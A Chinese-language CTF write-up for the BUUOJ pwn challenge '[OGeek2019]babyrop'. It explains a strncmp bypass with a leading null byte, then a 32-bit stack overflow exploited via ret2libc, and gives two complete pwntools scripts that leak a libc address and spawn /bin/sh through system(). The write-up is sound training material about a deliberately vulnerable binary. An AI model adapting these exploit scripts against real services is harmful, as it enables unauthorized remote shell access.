事前准备
地址随机+nx 32bit 给了libc文件,合理猜想和libc利用有关系
看看ida
(为了便于看和记忆,按n对函数名进行了重命名处理)
主函数
倒计时函数:(其功能如图中注释,因为与本题关系不大,不多作赘述)
调用的一个函数:
调用的另一个函数:
字符串里啥也没有:
漏洞及其利用思路
不难发现,除了第二个子函数(bufwrite),其他没什么利用点,程序功能大概就是实现一个随机数的取出作为密钥,通过了(srandcheck)就可以实现对内存的写入(bufwirte)。
如果们要利用bufwrite的话,我们就要想办法通过check,strnmp()一般情况下是只有相等才会返回0.但有一个特殊情况,当比较位数为0时,返回的也是0,所以直接首字符填充'\0'就可以bypas,bufwrite的控制就很简单了,注意在bufwirte函数填入的buf[7]足够溢出并控制函数执行即可,这里直接用\ff。
溢出后就是ret2libc的情况了,这里不作赘述。看了exp注解还不懂的建议先去看看ret2libc
exp:
from pwn import*
from LibcSearcher import*
p=remote('node4.buuoj.cn',25207)
#p=process('./OGeek2019]babyrop') #用于本地调试,直接连接本地进程
elf=ELF('./OGeek2019]babyrop')
write_plt=elf.plt['write']
write_got=elf.got['write']
libc=ELF('libc-2.23.so')
mainadd=0x8048825 #ida里直接查窗口底部,方法详见前几篇wp
payload=b'\0'+b'a'*6+b'\xff' #第一个函数 buf [7]再往后加不加无所谓
p1=payload
p.sendline(p1)
payload2=b'a'*(231+4)+p32(write_plt)+p32(mainadd)+p32(1)+p32(write_got)+p32(8)
p2=payload2 #填充+rbp 溢出后调用write函数 leak 其地址(8位)到stdout,返回到main以便继续控制
p.sendlineafter(b'Correct\n',p2) #也可以在中间差一个recvunti(b"Correct\n”)或者sleep{1}本质只是为了防止payload发送过快使p2无效
write_add=u32(p.recv(4)) #接收四字节(2位hex=1kb)
offset=write_add-libc.sym['write'] #offset=ture-libc
shadd=offset+libc.search(b'/bin/sh').__next__()
sysadd=offset+libc.sym['system']
payload3=b'a'*(231+4)+p32(sysadd)+p32(123)+p32(shadd)
p3=payload3 #溢出getshell
p.sendline(p1)
p.recvuntil(b'Correct\n')
p.sendline(p3)
p.interactive() #开启交互
不用自带libc:
这种方法在本题会出现libcsearcher抽风的情况(查出很多个,或者直接查不到),所以不能getshell,放在此处作为pytho3下无libc的语法参考:
from pwn import *
from LibcSearcher import *
#p=remote('node3.buuoj.cn',26210)
p=process('./OGeek2019]babyrop')
elf=ELF('./OGeek2019]babyrop')
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=0x8048825
payload1=b'\0'+b'\xff'*7
p.sendline(payload1)
p.recvline()
payload2=b'a'*(0xe7 + 0x4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload2)
write_addr=u32(p.recv(4)) #接收4字节地址
libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write') #本地就是.sym 非本地就是 .dump
system_addr=libc_base+libc.dump('system')
bin_sh_addr=libc_base+libc.dump('str_bin_sh') #字符是.search('stringnmae').next()
p.sendline(payload1)
p.recvline()
payload3=b'a'*(0xe7 + 0x4)+p32(system_addr) + p32(0) +p32(bin_sh_addr)
p.sendline(payload3)
p.interactive()
getshell
在参考Python2写Python3脚本中的注意事项
这也是困扰了我蛮久的一个问题,之前一直以为libcsearcher py3 和py2的语法规则不同,也不太掌握py3的exp编写,本题之后大概理解了
结论
libcsearcher的语法规则2 3下区别基本上没有区别(我此次编写的脚本参考了py2的exp,对libc的部分基本上没有改动)
py3主要是字符型与字节型不允许直接相加,所以要在前加b,这是一个最重要的区别,另外,.next()在python3下写为.__next__()
原因链接:https://blog.csdn.net/tenderzhe/article/details/73480561
Python2版本exp的参考链接,也对有无使用自带的libc的语法规则总结的比较到位,可以看看:
https://blog.csdn.net/weixin_45556441/article/details/115207142